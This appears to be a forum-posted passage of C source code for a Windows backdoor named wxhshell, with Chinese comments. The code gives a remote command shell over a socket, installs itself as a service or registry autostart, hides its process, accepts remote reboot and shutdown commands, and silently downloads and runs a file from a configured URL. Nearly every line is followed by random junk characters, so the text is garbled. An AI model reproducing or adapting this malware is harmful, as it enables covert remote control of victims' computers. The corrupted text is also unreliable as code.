  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8v ZY+Q >  
  } ppP0W `p  
  else { d:L|BkQ7*  
R<)^--n  
    switch(cmd[0]) { :~{Nf-y0`1  
  sQXj?5!  
  // 帮助 ${F4x"x  
  case '?': { <k'%rz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tkX?iqKQ  
    break; d7]~t|  
  } _C%:AFPP>  
  // 安装 c+:XaDS-  
  case 'i': { )ppIO"\  
    if(Install()) c-y`Hm2"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wb%t6N?  
    else \Q!I;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k0v&U@+-J  
    break; =j~vL`d2]  
    } a/{M2  
  // 卸载 VR XK/dZ  
  case 'r': { P?o|N<46  
    if(Uninstall()) KCl85Wi'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rizWaw5E!8  
    else Rn_FYP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BW x=Q  
    break; 6%B)  
    } ):-Ub4A\  
  // 显示 wxhshell 所在路径 *A ([1l&]i  
  case 'p': { wj2z?0}o  
    char svExeFile[MAX_PATH]; ,<t)aZL,A;  
    strcpy(svExeFile,"\n\r"); Tl!}Rw~Pg  
      strcat(svExeFile,ExeFile); o JX4+uJ  
        send(wsh,svExeFile,strlen(svExeFile),0); UGP,/[XI  
    break; -(lCM/h  
    } g2%fla7r  
  // 重启 >]<4t06D  
  case 'b': { UJiy] y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i@L_[d^|j`  
    if(Boot(REBOOT)) C0}@0c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 60#eTo?}o  
    else { T&nIH[}v  
    closesocket(wsh); ".7\>8A#a  
    ExitThread(0); xl ]1TB@  
    } XI\P#"  
    break; >e^^YR^  
    } 'w8p[h (,  
  // 关机 E<[ Y KY  
  case 'd': {  \RS ,Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t`")Re_j  
    if(Boot(SHUTDOWN)) cd(YH! 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dqgH"g  
    else { 6FkBb !ASk  
    closesocket(wsh); 4ATIF ;G'<  
    ExitThread(0); (H6Mi.uZ  
    } A4daIhP (  
    break; Dnp><%  
    } BMO&(g  
  // 获取shell >zo_}A!  
  case 's': { rlQ=rNrG&E  
    CmdShell(wsh); )Ah7  
    closesocket(wsh); 5ENEx  
    ExitThread(0); c<ORmg6  
    break; dwqR,|  
  } \IP 9EFA  
  // 退出 PY MofQaZ  
  case 'x': { ;~GBD]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1<;VD0XX  
    CloseIt(wsh); slQEAqG)B  
    break; UuCRQNH  
    } 2QgD<  
  // 离开 oc"7|YG  
  case 'q': { \DcO .`L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J,*+Ak ~  
    closesocket(wsh); hr W2#v  
    WSACleanup(); 8 .t3`FGH  
    exit(1); %J8uVD.2  
    break; Ip |=NQL>  
        } k_`h (R  
  } U&W/Nj  
  } snYyxi  
[nf 5<  
  // 提示信息 L:\>)6]Ls  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CrB4%W:{  
} E?FUr?-[  
  } *)L~1;7j>  
gu "@*,hL  
  return; yRR[M@Y  
} 9v/=o`J#  
)|6OPR@(#/  
// shell模块句柄 H.< F6  
int CmdShell(SOCKET sock) @RHG@{x{K  
{ ~3)d?{5  
STARTUPINFO si; -TS5g1  
ZeroMemory(&si,sizeof(si)); mNOx e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2(f-0or(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u6Yp ,!+  
PROCESS_INFORMATION ProcessInfo; Q<Qd*v&-  
char cmdline[]="cmd"; P4:Zy;$v!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _UV_n!R  
  return 0; Xp9] 9H.  
} WWTRB +1>  
&F8*>F^7  
// 自身启动模式 V  n+a-v  
int StartFromService(void) urg^>n4V]  
{ &W3Hj$>  
typedef struct Wm4C(y@  
{ UrO& K]Z  
  DWORD ExitStatus; \Vpv78QF;  
  DWORD PebBaseAddress; r>gf&/Pl  
  DWORD AffinityMask; Qq%~e41ec  
  DWORD BasePriority; ,/&|:PkS  
  ULONG UniqueProcessId; xXfv({  
  ULONG InheritedFromUniqueProcessId; {Ve3EYYm  
}   PROCESS_BASIC_INFORMATION; 5uV_Pkb?8  
Wt.['`c<  
PROCNTQSIP NtQueryInformationProcess; EQQ@nW{;  
MnlD87x@X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J50n E~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M9G?^mW1sT  
G#ELQ/Q  
  HANDLE             hProcess; Q.fUpa v  
  PROCESS_BASIC_INFORMATION pbi; ?_r{G7|D  
nzZs2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H^dw=kS  
  if(NULL == hInst ) return 0; putRc??o;  
mDk6@Gd@U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hhz#I A6,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ! ?>I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  ^"~r/@l  
`q`ah_  
  if (!NtQueryInformationProcess) return 0; j7$xHnV4  
. IM]B4m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~dzD7lG6  
  if(!hProcess) return 0; {|<yZ,,p  
m WHyk"l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L2_[M'  
~0[(-4MA  
  CloseHandle(hProcess); &8yGV i  
s}-j.jzB{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5<e{)$C  
if(hProcess==NULL) return 0; g7^|(!Y%  
HAo=t  
HMODULE hMod; r)Vpt fg;  
char procName[255]; ]O{i?tyX  
unsigned long cbNeeded; U#bmMH  
`%^w-'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PVIZ Y^64  
&,3s2,1U(  
  CloseHandle(hProcess); BsL+9lNue  
R]o0V*n  
if(strstr(procName,"services")) return 1; // 以服务启动 NFP h}D  
cM CM>*X  
  return 0; // 注册表启动 fmJK+  
} w^=(:`  
54B`T/>R:E  
// 主模块 ZJ~0o2xZ'  
int StartWxhshell(LPSTR lpCmdLine) .z=%3p8+  
{ uc}tTmB|  
  SOCKET wsl; gs7_Q  
BOOL val=TRUE; Om;aE1sW  
  int port=0; M,X)rM}Q  
  struct sockaddr_in door; )v*k\:Hw  
uMpuS1  
  if(wscfg.ws_autoins) Install(); K :kb&W  
}s:3_9mE  
port=atoi(lpCmdLine); /Oi(5?Jn  
Qa\,)<'D:  
if(port<=0) port=wscfg.ws_port; $CJf 0[|  
/d">}%Jn  
  WSADATA data; *M*WjEOA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `p1B58deC  
Q+wO\TtE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sDR Av%w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mdQe)>  
  door.sin_family = AF_INET; AWPgrv/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'h 7x@[|  
  door.sin_port = htons(port); /er{sKVX<  
k3e6y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^i2>Ax&T  
closesocket(wsl); -;ra(L`  
return 1; c0HPS9N\  
} :VWN/m  
`HnZ{PKf  
  if(listen(wsl,2) == INVALID_SOCKET) {  LAM{ ,?~  
closesocket(wsl); :8`$BbV  
return 1; +5I'? _{V  
} #Ef!X  
  Wxhshell(wsl); mF!4*k  
  WSACleanup(); Y:#B0FD,gC  
I$x<B7U  
return 0; p:$kX9mT&  
*JZ9'|v_H  
} $)c[FR~a  
t9*e"QH  
// 以NT服务方式启动 lq]8zm<\)]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =8TBkxG  
{ =./PY10'  
DWORD   status = 0; V@s93kh  
  DWORD   specificError = 0xfffffff; :xq{\"r  
"VHT5k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~`^kP.()  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BB9eQ: xO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nT2b"wkTT  
  serviceStatus.dwWin32ExitCode     = 0; #`U?,>2q  
  serviceStatus.dwServiceSpecificExitCode = 0; \CE+P5  
  serviceStatus.dwCheckPoint       = 0; R.l!KIq  
  serviceStatus.dwWaitHint       = 0; 0%;| B  
UWhHzLcXh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6I=xjgwvf  
  if (hServiceStatusHandle==0) return; :w Y%=  
oOLA&N-A~  
status = GetLastError(); u rQvJ  
  if (status!=NO_ERROR) ]Ol w6W?%  
{ tJQZRZViu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jk_yrbLc  
    serviceStatus.dwCheckPoint       = 0; cyP+a  
    serviceStatus.dwWaitHint       = 0; xh CQ Rw  
    serviceStatus.dwWin32ExitCode     = status; uPN^o.,/.  
    serviceStatus.dwServiceSpecificExitCode = specificError; I![/bwObG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m@*aA}69  
    return; e]ST0J"  
  } TOgH~R=  
8tf>G(I{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]]`[tVaFr  
  serviceStatus.dwCheckPoint       = 0; Z,\(bW qF  
  serviceStatus.dwWaitHint       = 0; N%q{CYF6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 23K#9!3  
} U HTxNK@}  
]5:[6;wS  
// 处理NT服务事件,比如:启动、停止 IG;= |  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aO?KRn  
{  5T9[a  
switch(fdwControl) q o-|.I  
{ 'qo(GGC M  
case SERVICE_CONTROL_STOP: Xt:j~cVA  
  serviceStatus.dwWin32ExitCode = 0; w)qmq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K.&6c,P]  
  serviceStatus.dwCheckPoint   = 0; 6Fk[wH 7  
  serviceStatus.dwWaitHint     = 0; BT;1"l<  
  { '4 3U v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <nV3`L&]  
  } mr_NArF  
  return; "Wk K1u  
case SERVICE_CONTROL_PAUSE: 8'fF{C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RtxAIMzh?  
  break; `:m=rT_  
case SERVICE_CONTROL_CONTINUE: QkTU@T6>o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [I'q"yRu]i  
  break; &gC)%*I 4  
case SERVICE_CONTROL_INTERROGATE: ?}W#j  
  break; 3BLH d<  
}; t4~?m{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2v4&'C  
} 5 ^l-3s?M  
2\O!vp>|-  
// 标准应用程序主函数 =*6frC~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tBwPB#:W  
{ DAtAc(05)  
wa&:86~l?  
// 获取操作系统版本 -cZuP7oA  
OsIsNt=GetOsVer(); z5<&}Vh;P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %wu,c e]*  
;F71f#iY  
  // 从命令行安装 9WQ'"wyAQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~j!|(a7  
YY7dw:>e/  
  // 下载执行文件 \MmB+'f&R  
if(wscfg.ws_downexe) { \Km+>G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7<2?NLE8*  
  WinExec(wscfg.ws_filenam,SW_HIDE); eCg|@d%D  
} +, rm  
v] Xy^7?  
if(!OsIsNt) { n4"xVDL  
// 如果时win9x,隐藏进程并且设置为注册表启动 @}+B%R  
HideProc(); TC:t!:  
StartWxhshell(lpCmdLine); 4zBcq<R7  
} ;t@^Z_z,CR  
else K #JO#  
  if(StartFromService()) v"J|Ebx  
  // 以服务方式启动 cj[%.M5iBA  
  StartServiceCtrlDispatcher(DispatchTable); }y*rO(cu7G  
else 9~iDL|0'~  
  // 普通方式启动 5:EE%(g9  
  StartWxhshell(lpCmdLine); 0d`lugf  
aKRnj!4z  
return 0; Pb@$RAU6 3  
}
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只看该作者 1 发表于: 2006-10-10
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